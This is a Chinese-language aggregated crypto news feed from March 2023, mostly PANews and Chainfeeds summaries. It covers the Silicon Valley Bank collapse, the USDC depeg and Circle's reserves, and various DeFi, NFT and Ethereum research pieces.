实际上，在电力过剩的东欧地区早已投入核能挖矿了，例如早在2021年乌克兰就宣布将在国有核电厂中建立大型比特币挖矿数据中心；俄罗斯曾于2022年表示允许在拥有水电和核电的地区进行挖矿。对于当下不少面临生存危机的矿企而言，核能挖矿或许是个生存的可行选择之一，但核电挖矿仍有着较大的风险隐患，具有极高的安全要求，能否用于大规模挖矿还有待更多实践案例来验证。  ( 4 min )
    出于风险管理需要，币安已暂停USDC到BUSD的自动转换
    PANews 3月11日消息，据官方消息，币安宣布，由于当前的市场状况，特别是资金大量流入以及支持转换的负担增加，币安暂时暂停了USDC到BUSD的自动转换。这是币安在监测异常情况时采取的正常风险管理程序步骤。  ( 4 min )
    Circle披露部分现金储备在硅谷银行后USDC出现短暂脱锚，现跌至0.98美元区间
    PANews 3月11日消息，美元稳定币发行方Circle今日在社交媒体披露硅谷银行是其六家银行合作伙伴之一，负责共同管理约25%的USDC现金储备。此消息发布后，USDC出现短时脱锚，根据Coingecko数据显示当前跌至0.985979美元，过去24小时与美元的锚定价格已下跌约1.7%，市值约为41,698,130,413美元。  ( 4 min )
    一周精选丨ETHDenver 2023总结；监管、宏观再传利空；硅谷银行危机扰乱加密市场，比特币跌破2万美金关口
    PANews编者按：PANews精选了一周的优质内容，帮助大家利用周末时间查漏补缺，点击标题即可阅读。PANews已上线Hong Kong Web3 Festival 2023活动汇总（持续更新），点此查看更多活动日程 香港Web3新政后实地考察，分享8点所闻所感 上周去香港拜访了八九家机构，了解下新政后的Web3发展机会。 鲍威尔证词、非农、CPI和FOMC，全球市场紧盯未来13天 未来13个交易日将发生的四件大事，将是决定今年初的股市复苏是昙花一现，还是在2月份暴跌后再次反弹的关键催化剂。 Arthur Hayes撰文: 能源价格、货币政策与比特币 总的来说，面对能源冲击，最终结果将是全球放松货币政策。比特币可能会对更宽松的全球货币环境做出积极反应。 专访Cobo神鱼：2022熊市周期、FTX暴雷和加密创新 在访谈中，神鱼从一个经历过多轮加密货币周期“老韭菜”的视角，分享了对当前市场、FTX 事件影响、DeFi 创新、DEX 未来等多个话题的看法和底层思考，还解释了他对 Crypto 行业能够始终保持好奇心的原因。 Web3“圈地运动”正发生：涉及全球80亿人的“数字革命” 只需要十多年的时间，Web3就能吞噬世界。人类正处于石器时代以来最陡峭的产值爬坡阶段，这个世界一代人就换一个样，你做好准备了吗？ 一文了解ETHDenver 2023上的新趋势、重点方向、新项目和未来增量市场 PANews采访了前去参加活动的投资人和项目方，分享来自ETHDenver会议一线的感受和收获。 详解三款大制作游戏Bigtime、Illuvium和Parallel的内测玩法和资产市值 本文PANews将为你介绍对比Bigtime、Illuvium、Parallel三款3A级链游，以及其目前的内测情况。 ZK二层网络Scroll交互指南 在本指南中，我将讨论如何开始使用Scroll zkEVM以及如何与以太坊 L2 Dapp 交互。 速览PancakeSwap近期更新与V3：引入做市商、降低交易费用、激励交易量 PancakeSwap近期推出一系列措施降低交易手续费、激励交易量，下个月上线的PancakeSwap V3很可能增加和Uniswap V3类似的流动性聚集功能。 巾帼不让须眉：盘点Web3 中的“硬核”女性及她们的项目 国际妇女节快乐！ 盘点主要的6种比特币扩容方案现状：Stacks数据增长较快，RSK支持EVM Ordinals的出现再次引发在比特币的基础上开发应用的讨论，现在哪些扩容方案的发展更好呢？ 价值10亿美元的暗网相关比特币被转移，大部分或是美司法部内部转账 从历史上多次批量拍卖比特币来看，美国政府更愿意采取拍卖方式来处理这些罚没的加密资产，但仍不能排除其将在市场进行抛售变现的几率。 复盘Silvergate与硅谷银行危机：流动性盛宴上大快朵颐，美元荒时代中崩盘祭旗 一场美元加息周期下的豪赌：梭哈债券一时爽，美元加息难收场。 加密友好银行Signature“软着陆”：收紧用户，主动降加密存款规模 本文将汇总Signature Bank 10-K报告和2023Q1中期报告精要，一窥加密银行龙头未来走向。 NFT创作者应对版税下降的 4 种方式 分享创作者可以采用的四种途径，以便在这个不断变化的 NFT 版税环境中更好地定位，在 NFT 版税下降的趋势中生存。 二月NFT市场回顾：Blur带来了“流动性陷阱”？ 作者总结了 2 月份发生的主要事件，最感兴趣的趋势以及对 BLUR 代币发布的看法。 NFT价格持续下探，PROOF整合Moonbirds并发行代币欲打破流量瓶颈 新规划下的PROOF能否真正突破生态开发能力不足的瓶颈，摘掉“不断发行小图片”的标签，书写新故事还有待时间验证。 288张小图片1天狂揽1.14亿，Yuga Labs在比特币上制造了一台“印钞机” TwelveFold，中文戏称「十二折」24小时拍卖结束了，最低出价：2.2501 btc（32.18 eth），最高出价：7.1159 btc（101.76 eth），总成交：735.71 btc（10,521.37 eth,约 1.14亿人民币），平均成交价：2.55 btc（36.42 eth)。 蹭V神热度？麻吉大哥也来凑热闹，Gitcoin Presents纪念NFT突然爆红 Gitcoin Presents纪念系列NFT引发市场抢购，连“麻吉大哥”黄立成也来疯狂扫货，火爆程度可见一斑。 解读最新Final的ERC-6147：极简的半强制性NFT产权分离标准 现在的SBT设计太注重Vitalik提出的“不可转移”特性,忽略SBT的潜在管理场景。 比特币主权Rollup引争议：技术上可行吗？ 近日，知名比特币最大主义者Jameson Lopp 转发了基于比特币网络建立主权 rollup 的想法，随后该想法在比特币以及以太坊社区内引起了大量讨论。 链上身份层Polygon ID：想打造Web 2体验级的Web 3身份系统 Polygon ID允许任何人成为 Web3 身份的颁发行者、验证者或持有者，改变大厂和机构等中心化实体对个人数据的占有和滥用的局面。 RAI：V神眼中的去中心化稳定币“理想型” Vitalik Buterin —— RAI 更好地体现了仅由 ETH 支持的，超额抵押自动稳定币的“理想类型”。 以太坊扩容项目Scroll以18亿美元估值完成5000万美元融资 亚马逊将于4月24日推出其NFT平台“AmazonDigital Marketplace” 美CFTC主席：以太坊和稳定币是商品不是证券，Gary Gensler涉嫌违法 鲍威尔：我们在加密领域看到了相当多欺诈行为和风险存在 腾讯幻核APP将于6月30日下线，提醒用户在此日期前申请退款 美联储主席：美联储准备在数据允许的情况下加快加息 彭博社：Babel Finance在损失7.66亿美元后，正在进行债务重组 美国犹他州立法机关已通过DAO法案，将于2024年生效 全国人大代表建议：防范虚拟货币风险，明确制作和发售数字代币的法律责任 美国法官驳回了SEC等机构对Binance US收购Voyager的反对意见  ( 5 min )
    Yuga Labs、Azuki、Moonbirds等多个NFT项目持有少量硅谷银行敞口，运营未受影响
    PANews 3月11日消息，Yuga Labs、Azuki、Moonbirds等多个NFT项目都对硅谷银行有少量敞口，但正常运营不受影响。  ( 4 min )
    美国SEC否决VanEck创建比特币现货信托的申请
    PANews 3月11日消息，据Cointelegragh报道，美国证券交易委员会（SEC）于3月10日否决了投资公司VanEck创建比特币现货信托VanEck Bitcoin Trust的申请。美国SEC委员Mark Uyeda和Hester Peirce发表一份联合声明，指责SEC对ETP申请人的的审核存在“双标”，对其他类型基于商品的ETP采用的标准与比特币现货ETP不同。SEC已否决所有已提交的比特币现货信托申请，在过去六年中已达到近20项。  ( 4 min )
    英国央行计划申请将硅谷银行英国附属公司列入破产程序
    PANews 3月11日消息，英国央行发布公告称，计划向法院申请将硅谷银行英国有限公司（SVB UK）列入银行破产程序，SVB UK将停止向客户支付和接受存款。据此前消息，硅谷银行已于周五破产并被美国联邦存款保险公司（FDIC）接管。随后硅谷银行旗下英国附属公司表示，该附属公司是一家“单独运营的银行机构”，受到英国监管部门PRA的管理，其资产负债表独立于硅谷银行金融集团，并拥有一个独立的英国董事会。  ( 4 min )
    Circle、Tether和Paxos将寻找新的银行合作伙伴
    PANews 3月11日消息，据The Block报道，在硅谷银行倒闭后，Circle、Paxos和Tether等稳定币发行商都表示将建立新的银行合作关系。与此同时，Tether和Paxos都表示对硅谷银行没有敞口。另一方面，在Silvergate和硅谷银行相继倒闭后，小型加密公司寻找银行合作伙伴的难度将大大提升。  ( 4 min )
    BlockFi在硅谷银行持有2.27亿美元的未投保资金
    PANews 3月11日消息，据The Block报道，一份破产文件显示，加密借贷平台BlockFi在硅谷银行持有2.27亿美元的未投保资金，且可能违反了美国破产法。负责监督BlockFi破产的美国信托人表示，由于上述2.27亿美元资金在货币市场基金中，因此不受FDIC保险。今年早些时候，美国信托人提醒BlockFi可能存在合规问题。BlockFi表示将提供合规证明，但截至FDIC接管硅谷银行，该公司仍未提供证明。BlockFi去年11月申请破产保护，其债权人包括FTX US和美国证券交易委员会（SEC）。  ( 4 min )
    Circle：硅谷银行是其6个现金储备银行之一，当下USDC继续正常运作
    PANews 3月11日消息，稳定币发行商Circle发公告称，硅谷银行是 Circle 用于管理 USDC 现金储备的六家银行合作伙伴之一。在等待硅谷银行被联邦存款保险公司 FDIC 接管将如何影响其存款人的情况下，Circle 和 USDC 继续正常运作。 据此前消息，Circle在硅谷银行持有一笔未披露的USDC现金储备。根据Circle截至3月9日的储备报告，该公司在受监管银行持有111亿美元的USDC现金储备，约占整体储备的25%。其合作银行包括纽约梅隆银行、Citizens Trust Bank、Customers Bank、New York Community Bank、Signature Bank、硅谷银行。  ( 4 min )

  • Open

    硅谷风投联合声明：若硅谷银行被收购并适当资本化，将会支持投资组合公司恢复与其的银行业务关系
    硅谷风投联合声明：若硅谷银行被收购并适当资本化，将会支持投资组合公司恢复与其的银行业务关系 General Catalyst 首席执行官 Hemant Tanej 发布推特称已经和几位风投领导人开会讨论了硅谷银行（SVB）倒闭的后果，并发布了一份联合声明。联合声明表示，「SVB 一直是风投行业及创始人们值得信赖的长期合作伙伴。四十年来，它一直在服务创业社区和支持美国创新经济方面发挥着关键作用。我们对过去 48 小时内发生的事情感到失望和担忧，如果 SVB 被收购并适当资本化，我们将会支持并鼓励我们的投资组合公司恢复与其的银行业务关系。」其他参与该联合声明的硅谷风投包括 Accel、Altimeter Capital、B Capital Group、General Catalyst、Gil Capital、Greylock Partners、Khosla Ventures、Kleiner Perkins、Lightspeed Venture Partners、Mayfield Fund、Redpoint Ventures、Ribbit Capital 及 Upfront Ventures。 内容来源  ( 2 min )
    【英文】MakerDAO 破局之路：如何通过 MetaDAO 提高其生态系统盈利能力？
    Chainfeeds 导读： Web3 市场战略咨询公司 DeSpread 撰文对 MakerDAO 重组提案「The Endgame Plan」的背景、核心及对 MakerDAO 生态系统的影响进行了解读。 文章来源： https://mirror.xyz/despread.eth/q6kAnD7YE7ikJ2ASlS-3DJ-vnDRkkH8p0A3ihUxjhLc 文章作者： DeSpread 观点： DeSpread：MetaDAO 可以被认为是 MakerDAO 生态系统中的一个子集，Endgame 所有计划和功能都围绕着 MetaDAO，以让 Rune 实现一个去中心化的治理系统和多元化的收入分配结构。目前 MakerDAO 的治理是围绕着 Maker Core 这一核心概念进行，未来每个 MetaDAO 都会按照特定方向发展。此外，MetaDAO 还持有自己的原生代币 MDAO，用于在每个 MetaDAO 中构建收入结构。【原文为英文】 内容来源 DeSpread：三种 MDAO 流动性挖矿方式：1）DAI ：MDAO 代币流动性挖矿的 20% 会分配给 DAI 挖矿；2）ETHD：MDAO 代币流动性挖矿的 40% 分配给 ETHD 挖矿；3）MDAO 代币流动性挖矿的 40% 分配给 MKR 挖矿，用户存入 MKR 参与治理时可获得 MDAO 代币。【原文为英文】 内容来源 DeSpread：各个 MetaDAO 的 DAI 都会被积累在 Surplus Buffer 中，累积的越多，产生利润的网络效应就越大，流动性将更多。其中 30% 用于 MetaDAO 独立商业模式或产品，剩余 70% 则积累在 Elixir 中用于维护 MKR 和 MDAO 代币的价值。【原文为英文】 内容来源  ( 37 min )
    ParaSpace 如何搅动 NFT 借贷市场？
    Chainfeeds 导读： ParaSpace 上线仅两个多月便持续在 NFT 借贷赛道保持 TVL 第二名的位置，金色财经编辑 Jessy 解读了 ParaSpace 如何借势 Ape Staking 突围，并创新抵押方式留存用户，超越一众老牌 NFT 借贷项目。并对 NFT 借贷的未来进行展望，认为随着 NFT 借贷市场规模的扩大，或许传统金融与去中心化金融之间的差距将不断缩小。 文章来源： https://www.jinse.com/blockchain/3203086.html 文章作者： Jessy（金色财经） 观点： Jessy（金色财经）：ParaSpace 推出时赶上 Yuga 推出 Ape 质押，便选择开放了一个 ApeCoin 流动性池预存活动，并且在预质押阶段就开启了 APE 代币额外的 30% APY 挖矿奖励。其主网上线后，针对 Ape Coin 的点对池质押挖矿模式也开启了。通过这次机会，ParaSpace 用大幅优惠和较好的用户体验，积累了 NFT 金融市场的一批优质用户。 内容来源 Jessy（金色财经）：ParaSpace 的抵押借贷功能有全仓杠杆和打包抵押两个创新的抵押方式，允许用户以一个信用额度为所有抵押品提供贷款，只要用户整个抵押的资产组合的健康系数保持在 1 以上，NFT 就永远不会触发清算拍卖。ParaSpace 是一个更符合 DeFi 老用户用户习惯的 NFT 借贷协议，横跨了 NFTFi 和 DeFi 的产品，其抵押品涵盖了多种生息代币，让其有了更多的应用场景。 内容来源 Jessy（金色财经）：把 NFT 借贷类比现实中的房屋抵押以及 DeFi 发展路径，窥探 NFT 借贷未来发展方向：1）NFT 借贷一定会朝着借贷的效率和对于资产的估值更准确的方向发展。2）随着 NFT 借贷市场规模的扩大，虚拟房产、NFT 音乐等更多的非同质化代币会成为借贷的抵押物。 内容来源  ( 3 min )
    【英文长推】盘点三个追踪加密风投动向的必备工具：CryptoRank、Crunchbase 及 Chain Broker
    Chainfeeds 导读： 风投总是领先于散户投资者，因此了解加密基金及其投资项目能够更高的进行加密投资。X DAO 创始人 Rekt Fencer 盘点了三个追踪加密风投动向的工具，以帮助用户有效快组追踪加密基金。 文章来源： https://twitter.com/rektfencer/status/1633912396824846338 文章作者： Rekt Fencer 观点： Rekt Fencer：1）CryptoRank：市场洞察和分析平台，可以通过新增的选项查找不同基金的信息，包括投资总数、市场占有率及投资组合等；2）Crunchbase：可以使用多个功能分析项目或基金，包括累积融资金额、活跃投资者及员工资料等；3）Chain Broker：可以追踪基金投资回报率。【原文为英文】 内容来源  ( 2 min )
    价值积累案例研究：Yuga Labs 如何打造庞大的商业帝国？
    Chainfeeds 导读： 价值积累是 Web3 中一个至关重要但常常被忽视的议题，Vader Research 撰文深入探讨 Yuga 生态系统内产生的价值，即 Yuga Labs 股权价值和 Yuga NFT 及代币的价值，如何分配给不同的利益相关者。本文中文版由深潮编译。 文章来源： https://www.techflowpost.com/article/2219 文章作者： Vader Research 观点： Vader Research：从资本结构看，Yuga 生态系统价值 = Yuga Labs 股权价值 + Yuga NFT 和代币的价值。从内在价值看，Yuga 生态系统价值 = 折现后未来收益。Yuga 生态基本收益来源：1）NFT 和 Token 销售；2）NFT 版税。Yuga 生态通过创建和销售新的 NFT 集合获得了重要的收入来源，但也稀释了现有 Yuga 生态系统股东（Yuga Labs、APE、BAYC）的所有权。 内容来源 Vader Research：复盘 Yuga 的商业行为：1）BAYC 销售，首次销售获得 200 万美元，在第四个月通过版税获得了 250 万美元。2）MAYC 销售，Yuga Labs 和 BAYC 持有者各获得 MAYC 发行收益的 50％，Yuga 得到 1000 万美元收入，到第七个月产生的版税收入为 2500 万美元。 内容来源 Vader Research：3）$APE 发布，Yuga Labs 及其股东获得了 71% 的配额，而 BAYC / MAYC 持有者仅获得了 29%。4）Otherdeeds 发售，Yuga 获利 3.1 亿美元，MAYC 持有者在牺牲 BAYC 持有者的利益下得到了过多的分配，而 $APE 持有者则没有获得任何 Otherdeeds 分配。但重要的是要注意，主要销售是使用 $APE 进行的。 内容来源 Vader Research：购买 BAYC 和 MAYC 有一个令人信服的价值主张，即投资者可以获得每次新的 Yuga NFT 或代币发行的一定比例奖励。$APE 提供了模糊而肤浅的「赋能」，其中没有解释 Yuga 生态系统如何使 $APE 积累收益。使用 $APE 进行游戏内微交易是更清晰的实用性（假设收益进入 $APE DAO 的金库）。我们可能会在 Yuga 的游戏 / 元宇宙中看到更多的 $APE 赋能。 内容来源  ( 94 min )
    【英文】以太坊生态周报：Shapella 升级、ACDC 会议、MEV-Boost 指南......
    Chainfeeds 导读： 速览以太坊生态系统、开发及应用一周重要讯息。本周重点内容：更新 Goerli 测试网节点以为 3 月 14 日 Shapella 升级做准备；MEV-Boost 指南更新，包括 Shapella Goerli 升级推荐版本；104 次 ACDC 会议：关于 Blob 签名 API、SSZ 及 Verge 规范草案的讨论；EIP4844 实施者电话记录。 文章来源： https://weekinethereumnews.com/week-in-ethereum-news-march-11-2023/ 文章作者： abcoathup.eth  ( 9 min )
    【英文】Rollup 排序新构想「L1-sequenced」：有何优缺点？
    Chainfeeds 导读： 以太坊研究员 Justin Drake 提出了一个有趣的构想，将排序委托给 L1 PBS 系统以集成 L1 的灵活性和去中心化， Justin Drake 撰文对该构想的优缺点进行了权衡。 文章来源： https://ethresear.ch/t/based-rollups-superpowers-from-l1-sequencing/15016 文章作者： Justin Drake（以太坊基金会） 观点： Justin Drake（以太坊基金会）：优势：1）基于排序享有与 L1 相同的有效性保证；2）去中心化：继承了 L1 的去中心化，并且再次利用了 L1 搜索者 - 构建者 - 提议者的基础设施；3）简单性：无需排序器签名验证，也不需要外部 PoS 共识；4）降低了开发成本，Gas 开销为 0；5）源自于排序器的 MEV 会流向基础 L1，增强了 L1 的经济安全，且改善了 L1 原色很难过代币的经济稀缺性；6）基于 Rollup 保留了主权选择，可以有治理代币收取基本费用，并按照合适的方式使用收益。【原文为英文】 内容来源 Justin Drake（以太坊基金会）：劣势：1）基于 Rollup 失去了 MEV 收入，他们的收入将限制在基本费用上；2）排序器受限：将排序委托给 L1 会降低排序灵活性。【原文为英文】 内容来源  ( 9 min )
    a16z 一年工作总结：从「指标 > 团队 > 想法」到寻找创业真相
    Chainfeeds 导读： 游戏风投是一个新兴领域，VC 需要通过不同的方法来寻找创业项目并决策投资。A16z 游戏投资员 Robin Guo 撰推总结在 a16z 工作一年的经验和教训，以及 VC 寻找投资机会所需的不同因素和方法。本推文中文版由深潮编译。 文章来源： https://techflowpost.mirror.xyz/vupMbspmPVJsBGm_jb4uGb9QnObFCiXJ1dufyxbooM8 文章作者： Robin Guo（a16z 的投资合伙人） 观点： Robin Guo（a16z 的投资合伙人）：指标 > 团队 > 创意。对于正在迅速增长的初创公司，强大的用户保留、高速增长和大量的交易热度都是指标。难点在于从昙花一现中挑选出一个可持续的游戏。在指标之后，我们寻找优秀的团队，团队和人是伟大公司的核心。早期的想法并不那么重要，因为公司经常会进行转型。 内容来源 Robin Guo（a16z 的投资合伙人）：产品创意不如创始人探索细节以得出创意的过程重要，这是对创始人的衍生性和深度的评估。VC 是在信息不完全的情况下寻找真相，初创公司失败的原因由很多，这种风险已经被定价进去了。VC 需要通过其他手段来寻找真相：对创始人的参考、市场的论点、对竞争对手数据的挖掘等等。这些方法并不能保证成功，但它们可以增加投资成功的几率。 内容来源  ( 3 min )
    【长推】 硅谷银行倒闭，会成为 Circle 暴雷导火索吗？
    Chainfeeds 导读： Circle 宣布约 400 亿美元的 USDC 储备中有 33 亿美元保存在硅谷银行中，一时间引发了市场对于 Circle 暴雷的恐慌。加密研究员 0xLoki 在对 Circle 储备资产及估值进行分析后，认为 Circle 出问题的概率极低。 文章来源： https://twitter.com/Loki_Zeng/status/1634410350505508864 文章作者： 0xLoki 观点： 0xLoki：Circle 储备资产分为三个部分：324 亿美元国债组合、33 亿在 SVB 中及存在 SVB 以外银行的 78 亿。其国债组合具备充足流动性，即使被迫贴现也不会受到太大损失。此外，SVB 的情况和当时 FTX 的情况完全不同，SVB 这些贷款中的大部分还是可以收回的，43% 的极端情况发生的概率很低很低。 内容来源 0xLoki：SVB 以外银行的 78 亿我们在官方也找到了相关信息披露，可以看出除了 SVB 和 Silvergate 以外，Signatures Bank 等三家银行同样不能让我们放心。考虑到 BNYM 是 Circle 首选银行，保守估计下，BAYM 资金占 35%，剩下四家每家 10%，悲观一点，如果有风险的三家都出问题，回收率按 80% 计算，Circle 总损失是 20 亿美元左右。合理一点，Circle 在 SVB 中损失 7 亿美元左右，最极端的情况是 SVB 中损失 33 亿且剩余三家中共计 50 亿无法收回，但概率很低。 内容来源 0xLoki：但根据 Circle 估值，7 至 20 亿美元的损失对 Circle 来 说并不是太大的问题。USDC 真正暴雷需要满足三个条件：1）存在 SVB 和三家中风险银行的资金足够多；2）这些银行的债务回收率足够低；3）USDC 自己无法承担损失或者无法找到资金支持方来解决问题。 内容来源  ( 2 min )
    【英文长推】Messari：科学现存困境解析，DesCi 以不同方式应对
    Chainfeeds 导读： Messari 研究员 Stephy Dunbar 撰文对科学生态系统的现存困境及解决困境的不同 Desci （去中心化科学）方式进行解析，认为 DeSci 通过引用新的协调、激励和验证机制来维持和传播开放科学，从而改变了研究经济。 文章来源： https://twitter.com/sunnydece/status/1633160977809289216 文章作者： Stephy Dunbar 观点： Stephy Dunbar：科学知识是支撑技术发展和经济增长的公共产品，然而当前的科学体系面临问题：1）中心化决策和资金；2）方法论和数据的透明度差；3）无激励的审查和知识发布门槛受制。而 DeSci 正蓬勃发展以解决这些问题。目前正在运行的 85 个 DeSci 项目中有 50% 以上是去年启动的。【原文为英文】 内容来源 Stephy Dunbar：不同解决方式：1）代币激励的研究生态系统，例如 ResearchHub。2）基金 DAO，DeSci 主要通过 DAO 促进社区决策以资助量身定制的解决方案。许多 DAO 都有特定的重点领域。例如 VitaDAO。3）研究代币化，例如 Molecule。用途包括 IP 许可用于商业化、与合作伙伴分割所有权、在开放市场上交易数据、持有作为借贷的抵押品。【原文为英文】 内容来源 Stephy Dunbar：4）方法和数据透明化，例如 OpSci ，使研究者可以将自己的身份、证书和项目标记为 NFT。5）激励同行评审和开放出版，例如 DeSci Labs 的 DeSci 节点允许研究人员在开放状态、去中心化存储库上创建和发布代码、数据集等研究对象。6）数据处理，将数据代币化或者标记成 NFT，又或者像 The Bacalhau Project 允许研究员直接在存储数据集的地方执行计算工作。【原文为英文】 内容来源  ( 2 min )
    【长推】dForce 创始人：USDC 在硅谷银行的窟窿有多大？持有者该如何应对？
    Chainfeeds 导读： 硅谷银行（SVB）被关闭至今 USDC 出现了 10 亿美元净赎回，OKX 行情显示，USDC 目前已脱锚至 0.97 美元以下。dForce 创始人 Mindao 撰文对对 USDC 在硅谷银行的窟窿及持有 USDC 的应对策略进行了解析。 文章来源： https://twitter.com/mindaoyang/status/1634385755593383936 文章作者： Mindao（dForce 创始人） 观点： Mindao（dForce 创始人）：已知的信息 USDC 的储备 432 亿美金，现金储备 114 亿美金，存在 8 家银行，据说大头在 NY Mellon（假设 50%），剩下的假设 20 亿美金在 SVB，假设 100% 亏损，极限影响 USDC 会脱锚到 0.87。正常估算，假设存款只有 10 亿美金，80% 回收，理论上脱锚到 0.99。 内容来源 Mindao（dForce 创始人）：如果你持有 USDC，有几个策略（非财务建议）：1）如果你预计事情往最坏发展，那就承担一个 3% 的理发换成 USDT；2） 换成 DAI，DAI 现在 PSM 的铸币还在，USDC 可以 1：1 铸成 DAI， 假设出现最坏情况（脱锚到 0.87），由于 USDC 占 DAI 铸币量不到 40%，这部分会稀释，DAI 的理论脱锚值会在 95%； 内容来源 Mindao（dForce 创始人）：3）到借贷市场比如 AAVE 的 e-mode， 抵押 USDC 借 USDT， emode 抵押率是 97%，但是存在双向价格风险；4）附加策略：如果 Coinbase 有账号，或者有 Circle 的账号，USDC 是可以 1：1 兑换成美金的，但是对普通人可能有操作难度。 内容来源  ( 2 min )
    【英文长推】Messari：Ordinals 给比特币带来新的叙事
    Chainfeeds 导读： Messari 研究员 Sami Kassab 撰写报告解读了铭文给比特币带来的「文艺复兴」，Messari 官方则发推对此报告进行总结归纳，认为比特币作为通胀对冲工具、价值存储和成熟机构资产的身份已经动摇，在 SegWit 和 Taproot 升级后，Ordinals 的出现了给比特币带来新叙事。 文章来源： https://twitter.com/MessariCrypto/status/1634214275010162688 文章作者： Messari 观点： Messari：软分叉升级隔离见证（SegWit）使存储大量数据变得更容易和更便宜，而 Taproot 则消除了对 BTC 交易中可以包含的数据量的限制。Ordinals 协议在二者的基础上出现，在不到三个月的时间里，已有超过 34.2 万条在比特币上发布的铭文，包括图像、文本、视频、应用程序、音频和模型。铭文和 Ordinals 对比特币的底层有什么影响？铭文占 TX 费用的 6%。上个月比特币区块的平均大小增长了 71%。比特币内存池经历了与铭文相关的活动激增。【原文为英文】 内容来源  ( 2 min )
    速览 PancakeSwap 近期更新与 V3 ：引入做市商、降低交易费用、激励交易量
    Chainfeeds 导读： PancakeSwap 在近期进行了一系列更新，降低交易费用并希望能增加交易量。PANews 研究总监蒋海波撰文对其更新进行解读和总结，涵盖引入做市商执行交易、可能引入和 Uniswap V3 类似的流动性聚集功能、V3 的空投和 NFT 奖励三个方面。 文章来源： https://www.panewslab.com/zh/articledetails/ma1ef9hs.html 文章作者： 蒋海波（PANews 研究总监） 观点： 蒋海波（PANews 研究总监）：1）引入做市商执行交易：更低的手续费和更好的兑换比例。此后，在 PancakeSwap 进行交易的时候，会自动对比原有的由 AMM 的 x*y=k 公式计算出的兑换比例和做市商给出的兑换比例，为用户选择更优路径进行交易。 内容来源 蒋海波（PANews 研究总监）：2）可能引入和 Uniswap V3 类似的流动性聚集功能。近期通过的「v3 产品的排放重定向提案」，Trading 的分配增加为 3.11 CAKE 每区块，Staking 的分配减少为 6.65 CAKE 每区块。按照提案中的说法，额外分配给 Trading 的每个区块 1 CAKE 的部分将「用于尚未发布的开发，这将显著增强 PancakeSwap 的交易量，以及其作为最佳多链 DEX 的地位」。 内容来源 蒋海波（PANews 研究总监）：3）空投和 NFT 奖励：推出了 13.5 万美元的 CAKE 和额外的 NFT 空投活动，奖励分配给不同层级的合格用户。用户必须在 3 月 5 日 13:00（UTC）之前在 PancakeSwap 中的 BUSD/WBNB、USDT/WBNB、BTCB/WBNB、ETH/WBNB 这四个流动性池中持有 500～20000 美元的流动性，且在 4 月 3 日 12:00 前不移除流动性。 内容来源  ( 4 min )
    去中心化稳定币战争：谁能夺得加密货币的圣杯
    Chainfeeds 导读： 硅谷银行暴雷事件引起连锁反应，市场出现对一些稳定币的恐慌。在中心化监管的威胁步步逼近的时代，是否去中心化是稳定币重要的属性。AC Capital Research 从稳定币去中心化的可行性、必要性入手，分析稳定币赛道的产业结构，对算稳之争进行解读。认为目前任何一个去中心化稳定币都没有在细分赛道中形成嚇阻竞争对手的垄断规模优势。 文章来源： https://mp.weixin.qq.com/s/lwdCxwrE03dLCUdbffgHzg 文章作者： AC Capital 观点： AC Capital：为什么稳定币要去中心化？1）可行性：去中心化的货币是货币的源头。货币是可以去中心化的。2）必要性：中心化的稳定币没有铸币权，且承受中心化的威胁，去中心化稳定币拥有固有市场。但没有规模就无法经济上持续经营，拥有规模却面临中心化权力的干涉风险。这就是稳定币的伊卡洛斯之翼。 内容来源 AC Capital：产业结构：1）根据流动性强弱分为高能货币和广义货币。USDC、USDT 就已经占领了稳定币世界里的高能货币的职位。绝大多数依靠绑定高能货币提供流动性的稳定币，其实只是提供类似传统金融市场里的广义货币。2）稳定币、借贷，殊途同归。从功能上，Alt-stablecoin 生成机制 + 交易对 = 超额抵押借贷。 内容来源 AC Capital：稳定性创造方法：1）再平衡稳定币；2）限制流通稳定币；3）铸币稳定币；4）超额抵押稳定币。稳定锚的选择：1）传统世界的货币；2）自定义指数。算稳战争：1）包含中心化风险的算稳赛道，其中蓝海的「鲶鱼」是 Curve 和 AAVE，老牌算稳龙头则是 MakerDAO 和 FRAX。2）完全去中心化算稳赛道，Liquity、Inverse.finance、RAI。 内容来源 AC Capital：总结：去中心化稳定币赛道，1）市场份额小，市场依旧处于发展初期，道路渺茫，但充满希望；2）去中心化稳定币拥有固有的市场；3）任何一个去中心化稳定币都没有在细分赛道中形成嚇阻竞争对手的垄断规模优势。 内容来源  ( 32 min )
    【英文长推】剖析 Balancer 核心架构 Balancer Vault：有哪些可组合性？
    Chainfeeds 导读： 一个好的架构能够在资本效率方面为协议带来多大的收益？加密研究员 ipor_intern 以 Balancer 为例，撰文对其核心架构 Balancer Vault 的概念及优势进行了解析。 文章来源： https://twitter.com/ipor_intern/status/1634071620498382851 文章作者： ipor_intern 观点： ipor_intern：Balancer Vault 是一个持有并管理每个 Balancer 池所有代币账目的智能合约。Vault 架构将代币核算功能和每个流动性池的基础逻辑分开，这样一来 Balancer 就不必主动管理池子的资产并能适应新池子设计。此外，它隔离了流动性并防止恶意代币或自定义池试图从任何其他池子中抽取资金。【原文为英文】 内容来源 ipor_intern：Balancer 通过将所有代币存储在 Vault 中以追踪净余额的变化，并且只进行最后的交易来合并最终状态。Balancer 的灵活性和可组合性实现了特定用例，包括：1）加权池：允许在给定池子余额、权重和被交易资产数量的情况下进行不相关资产互换；2）可组合的稳定池：提高了相关资产互换的资本效率，适合 DAI、USDC、USDT、enBTC、sBTC 等代币；【原文为英文】 内容来源 ipor_intern：3）增强型池：允许 LP 同时从交易费和利息中获利，适用于任何 ERC-4626 兼容的包装代币，；4）线性池：适用于以已知汇率交换一项资产和其包装收益对应物，例如 DAI 和 aDAI；5）管理池：多代币流动性池，可由外部协议管理他们的流动性来源，有益于投资组合管理策略。【原文为英文】 内容来源  ( 2 min )
    DeFi 在欧盟最新反洗钱法案草案中被归类为「高风险」
    DeFi 在欧盟最新反洗钱法案草案中被归类为「高风险」 据 The Block 报道，欧盟最新反洗钱草案中，包括 DeFi 在内的将资金转入和转出去 DApp 的行为可能会被归类为高风险。下周欧洲议会开会后，草案可能会有更多变化。 内容来源  ( 228 min )
    Y combinator CEO ：银行暴雷已影响上千家初创公司，其中 1/3 将无法在未来 30 天内发放工资
    Y combinator CEO ：银行暴雷已影响上千家初创公司，其中 1/3 将无法在未来 30 天内发放工资 Y combinator 首席执行官 Garry Ten 在接受 CNBC 采访时表示，本次银行暴雷事件已影响上千家初创企业，其中 1/3 将无法在未来 30 天内发放工资。这种崩溃正在影响美国工人。 内容来源  ( 2 min )
    加州监管机构已关闭硅谷银行并由美国联邦存款保险公司接管
